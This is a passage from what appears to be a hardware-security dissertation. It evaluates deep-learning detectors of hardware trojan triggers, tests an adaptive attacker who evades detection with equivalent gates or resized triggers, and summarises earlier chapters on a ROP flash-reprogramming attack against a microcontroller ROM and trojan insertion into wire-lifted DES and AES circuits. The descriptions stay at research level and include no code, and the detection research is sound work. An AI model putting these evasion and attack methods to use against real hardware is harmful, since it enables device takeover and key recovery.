zt = σ(xt U z + ht−1 W z )
rt = σ(xt U r + ht−1 W r )
h̃t = tanh(xt U h + (rt ∗ ht−1 )W h )

(4.6)

ht = zt ∗ h̃t + (1 − z) ∗ ht−1

The reset gate rt governs the amount of information from the historical sequence to be
incorporated into the current sequence step representation and the update gate zt blends
this updated historical representation with the current hidden representation.
In the case of the recurrent neural network model, each input graph was converted into
a perfect binary tree T and all the nodes at a particular depth of the tree, were supplied at
each step of the recurrence (including the root node, each tree in our case is 9 levels deep
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and hence the recurrent network had 9 steps). The final hidden representation hf inal at the
end of the recurrence is passed into a linear classifier as described in Eq. 4.7.
ŶT = softmax(W T hf inal )

(4.7)

In addition to deep learning models, we also evaluate the performance of other stateof-the-art classification models like Gradient Boosting Classifier (GBC), Random Forest
Classifier (RF) and the standard logistic regression classifier on the trigger detection task.

4.6

Results
We conduct three experiments to evaluate model performance. In the first experimental

setting, we treated all circuits containing a complete trigger as anomalous instances and
ensured that the non-anomalous circuits were free of any complete or partial trigger circuits.
Although filtering out all circuits with partial triggers, drastically reduced the number of
available instances for the GRU and the GCN models, the rest of the models (which were
trained on full circuit data and not on tree based sub-circuits as described in sec. 4.5.2) were
still able to perform relatively well in this setting with purely anomalous and non-anomalous
data. The results in Table 4.1 show the precision, recall and F1 scores of all models in the
trigger detection task, and omit the corresponding performance scores of the non-anomalous
circuit detection task as that is the majority class and hence is the easier of the two tasks and
most models achieve an F1 score greater than 95% on that task. We notice that the feedforward neural network model and the Gradient Boosting Classifier (GBC) models perform
marginally better than the other models. Another curious result is the underperformance of
the Gated Recurrent Unit based model (GRU) and GCN which can be attributed primarily
to the lack of adequate training instances as well as the imbalance in the number of instances
belonging to the positive (trigger) and negative (non-trigger) class in the dataset.
In the second experimental setting, circuits with less than 40% of a full trigger embedded
within them are considered non-anomalous instances while all circuits with greater than or
equal to 40% of a full trigger embedded within them are considered anomalous. This setting
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Model
Feed-forward
GRU
RF
GBC
Logistic Reg.
GCN

Trigger Precision
0.99
0.05
0.98
0.99
0.99
0.0

Trigger Recall
1.0
0.92
1.0
1.0
1.0
0.0

Trigger F1
1.0
0.10
0.99
1.0
0.99
0.0

Table 4.1: Trigger Graph Detection Performance 100% Trigger Anomaly Dataset.
was chosen to test the performance of the learning models in the trigger detection task
when the training data was contaminated by partial trigger circuits more representative of
a real world setting. We must note however that this has two effects, (1) the contaminated
training data makes the learning problem a little more challenging by allowing partial triggers
to be present in non-anomalous instances, (2) the number of instances deemed anomalous
increase relative to the first experimental setting containing only full trigger circuits labeled
as anomalous. The result of the second effect is readily apparent in the case of the GRU
and GCN models which have drastic improvements in performance (although they still
under-perform relative to the other models) due to the increased number and variety of
anomalous instances available during training. This enables the GRU and GCN models to
learn better representations of what constitutes a trigger in our case. Overall, the feedforward neural network model yields the best performance even in the 40% partial trigger
case as shown in Table 4.2 indicating that it is able to exhibit the robustness required in
real-world settings with contaminated training data containing partial triggers. We also
characterize the classification results of the feed-forward neural network model by varying
the partial trigger percentage in the experimental setting from 10% to 90% and record the
classification performance in each case. Fig. 4.5 shows the results of this experiment, wherein
we can observe an increasing trend in the precision, recall and F1 scores as we decrease
the trigger threshold (i.e de-contaminate the non-anomalous circuit instances), with a 0%
trigger threshold indicating that the circuits labeled non-anomalous are completely free of
any partial triggers.
In the two experiments so far, we see that the feed-forward neural network models are
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Model
Feed-forward
GRU
RF
GBC
Logistic Reg.
GCN

Trigger
Precision
0.91
0.3
0.9
0.87
0.88
0.85

Trigger
Recall
0.9
0.85
0.9
0.8
0.76
0.4

Trigger F1
0.9
0.44
0.9
0.83
0.81
0.54

Percentage
Change In F1
-10.0
+340.0
-10.0
-17.0
-18.2
-

Table 4.2: Trigger Graph Detection Performance 40% Partial Trigger Anomaly Dataset
with an additional characterization of the percentage change in classification performance
measured with the F1 score, with respect to the performance in the 100% trigger case
depicted in Table 4.1.
able to showcase good performance and learn good representations of trigger-infested and
clean circuit instances. We see a deterioration in performance of the logistic regression and
the GBC models (depicted in the last column in Table 4.2) indicating that these models are
relatively less robust to contamination compared to the feed-forward neural network and
random forest models.
Our third experimental setting aims to test the model performance in the presence
of an adaptive adversary. In section 4.7, we discuss the experimental details and model
classification performance in this setting.
Through our various experiments we have found that as circuit sizes increase our methods scale linearly. This allows us to examine large or small circuits for trojans without seeing
a huge increase in the time.

4.7

Adaptive Attacker
In order to bypass detection by any of the deep learning models utilized in this paper,

an adaptive attacker may attempt to modify the trigger. One option would be to change
the trigger to be a logical equivalent. They may change the gate types of the trigger without
affecting the functionality. For example, an attacker may choose to replace AND gates with
the logical equivalent shown in Fig. 4.6 of three NOT and an OR gate. This AND gate equivalent
could be substituted for any number of the gates in the trigger. An adaptive attacker may
also attempt to change the size of the trojan triggers in an attempt to thwart detection.
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Fig. 4.5: Performance characterization of 2 layer Deep Feed-Forward Neural Network model
with change in partial trigger percentage threshold. A particular trigger percentage threshold
indicates that all circuits which contained less than the specified percentage of a trigger were
marked as clean instances while the circuits with partial (or complete) triggers greater than
the specified trigger percentage were marked to be anomalous instances. We notice that the
model performance increases with decrease in partial trigger percentage threshold, indicating
that the model learns better representations when trained on a greater variety of partial /
complete triggers which occurs at lower trigger percentage thresholds.

OUTPUT

Fig. 4.6: Depiction of a logical equivalent to an AND gate by three NOT gates and an OR gate.
Both of these scenarios are considered.
OUTPUT

4.7.1

Logical Equivalent Gates

In order to determine how successful and adaptive attacker would be we created triggerinserted feature sets containing AND gates replaced by AND equivalents. Initially these features
sets were tested on the previously trained feed-forward neural network. A second trial was
conducted in which a second feed-forward neural network was trained using only the AND
equivalent triggers as the positives for being trigger-inserted. Then a third feed-forward
neural network was trained using the original training data augmented with the triggerinserted inverse node fanins with AND equivalent gates. The results of the separate verification
set held off until after training can be seen in Table 4.3.
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Training
Original
AND Equiv.
Both

Trigger. Precision
1.00
1.00
1.00

Trigger. Recall
0.15
1.00
0.99

Trigger. F1
0.22
1.00
1.00

Table 4.3: Trigger detection performance against an adaptive attacker utilizing AND equivalent logic in the triggers.
The results show that the original feed-forward neural network would not be able to
detect AND equivalent logic placed within the triggers. Although in these trials the triggers it
labeled as such were correct, it missed far too many for it to be considered effective. When
the network was trained with the AND equivalent triggers as indicated by the AND Equiv.
row, it was able to be trained and identify all AND equivalent triggers. What is even more
interesting is that when the training data contained both the original triggers with AND gates
and the AND equivalent triggers it was able to successfully identify either type as a trigger.

4.7.2

Trigger Size Manipulation

In order to determine the likelihood of successfully bypassing detection by deep learning
an adaptive attacker may attempt to modify the size of the triggers. We created several
test sets including triggers containing four, eight, sixteen, and thirty-two inputs. These were
all tested against the original feed-forward neural newtork and the results can be seen in
Table 4.4.
Input Size
Four
Eight
Sixteen
Thirty-two

Trigger. Precision
0.99
1.00
1.00
1.00

Trigger. Recall
1.00
1.00
1.00
0.99

Trigger. F1
1.00
1.00
1.00
1.00

Table 4.4: Trigger detection performance against an adaptive attacker utilizing varying sized
triggers.

As can be seen by the results in Table 4.4, size did not affect the ability for the neural
network to efficiently label the triggers as such. Note that no further training was required,
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but the neural network was able to identify larger triggers without being trained specifially
to do so.

4.8

Conclusions and future work
In this paper we have proposed a methodology that allows arbitrary VHDL or Verilog

circuits to be converted into a circuit adjacency matrix and then into the inverse node fanin
form. We have found the inverse node fanin representation of circuit data to be an excellent
way to present data to deep learning models. Others may find additional ways to take the
data found in the circuit adjacency matrix form and transform it into useful representations
for consumption by a deep learning model.
We have also shown by demonstration that several deep learning models are capable of
identifying hardware trojan triggers. As discussed in the Results section, the feed-forward,
RF, GBR, and Logistic Regression models were all able to identify hardware trojan triggers
comprised of AND and NOT gates.
Using deep learning to identify hardware trojans does not rely on either expert feature
selection or on golden model verification. The training data used in these experiments can
be further enhanced to produce better results and more broad detection of hardware trojans
in the future. We will also enhance the modeling architecture to perform effectively in the
presence of an adaptive adversary by incorporating an adversarial learning approach using
Generative Adversarial Networks (GAN).
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CHAPTER 5
CONCLUSION
The work in this dissertation has furthered the field of hardware security in several
ways. Specifically, it has dealt with vulnerabilities of ICs. It has covered the topics of
vulnerabilities in a Tiva C brought about by an onboard ROM containing factory-installed
libraries which allowed for a return-oriented programming attack. These libraries contain a
Turing-complete gadget set which can be utilized to erase and reprogram the Flash memory
of the device. This would allow an attacker to rewrite the program of the microcontroller.
The work in this dissertation also covers the topic of hardware trojans, another potential
vulnerability of ICs today. It was shown that an important paper which describes a method
to manufacture ICs in a way to prevent hardware trojan implantation did not cover all
classes of circuits. In fact a class of circuits exists, namely highly redundant circuits, for
which the methods proposed by that paper do not provide the security that was claimed. It
is important for everyone to know the limitations of excellent methods of hardware trojan
prevention so that they can be used where appropriate, and not used when they are found
lacking. Lastly, a new form of hardware Trojan detection was discussed. This is a new
application for state of the art methods of deep learning. Deep learning models were used
to detect hardware trojan triggers. In order to use the deep learning models new methods
to create data sets were described. These datasets were made publicly available.
The contributions made in each of the papers included in this dissertation are shown
below:
• Chapter 2 made the following contributions:
1. The ability to create a gadget set capable of erasing flash memory. This is the
first step in taking control of a microcontroller and could result in a denial of
service.
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2. The ability to create a gadget set capable of programming the region of flash
memory that was previously erased. This is the second step in taking control of
a microcontroller.
3. The ability to create a Turing-complete gadget set from the TivaWare ROM. This
allows for arbitrary code execution with ROP.
4. That modern energy-efficient embedded devices lack sufficient security assurances
for mission-critical applications.
5. Demonstration of actual use of the Turing-complete gadget library found in the
ROM. This goes beyond the theoretical and demonstrates that these gadgets
actually work when used as part of an ROP procedure.
• Chapter 3 made the following contributions:
1. A discussion demonstrating how redundant circuitry weakens the defenses proposed in [1].
2. A demonstration showing that the wire lifting procedure from [1] does not provide the intended amount of security to highly redundant circuits, particularly
cryptographic ciphers. This is shown on both DES and AES circuits. These circuits were chosen to show that the wire lifting procedure does not frustrate the
implantation of a hardware Trojan for either a Feistel structure or an SPN.
3. An approach which allows a hardware Trojan to be inserted into a DES circuit
that has undergone the wire lifting procedure is explained. This is a modification
to the Trojan described in [1]. This new approach entails attacking all portions of
the circuit that are indistinguishable from one another at the same time, instead
of choosing one portion and only attacking it, or attacking each portion one at a
time.
4. A second approach is introduced which allows a hardware Trojan to be inserted
into an AES circuit that has undergone the wire lifting procedure. This method
is similar to the approach outlined for inserting a Trojan in a DES circuit, but
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does not attack every indistinguishable portion of the circuit at the same time.
It attacks enough of the indistinguishable portions of the circuit to be able to
recover the key through an exhaustive search. This allows the size of the Trojan
to be less than it would have to be if every portion of the circuit indistinguishable
from another were to be attacked. This method can also be applied to a DES
circuit, increasing the probability of success of against a DES circuit to 100%.
• Chapter 4 made the following contributions:
1. A methodology to create datasets for hardware trojan research is presented. This
allows for research to be continued in the field of hardware trojan detection in
general, not only while applying deep learning models to trigger detection.
2. A dataset of trigger-inserted circuit adjacency matrices is provided. This dataset
contains 14,628 individual instances of hardware trojan triggers inserted into
various circuits. The triggers vary in size, trigger conditions, and location they
are inserted in the circuit. The next best currently available database contains 5
instances of a trigger based hardware trojan.
3. A methodology to create feature vectors from circuit adjacency matrices is set
forth. The creation of feature vectors is so important when attempting to apply
deep learning models to any field. The work to determine how to represent the
data has been set forth so that future researchers can concentrate on other ways
to improve the results.
4. The groundwork for a new application of deep learning: using state-of-the-art
models to identify hardware trojans is presented. This truly is the groundwork
in this field and it will act as the baseline for future researchers to expand upon.
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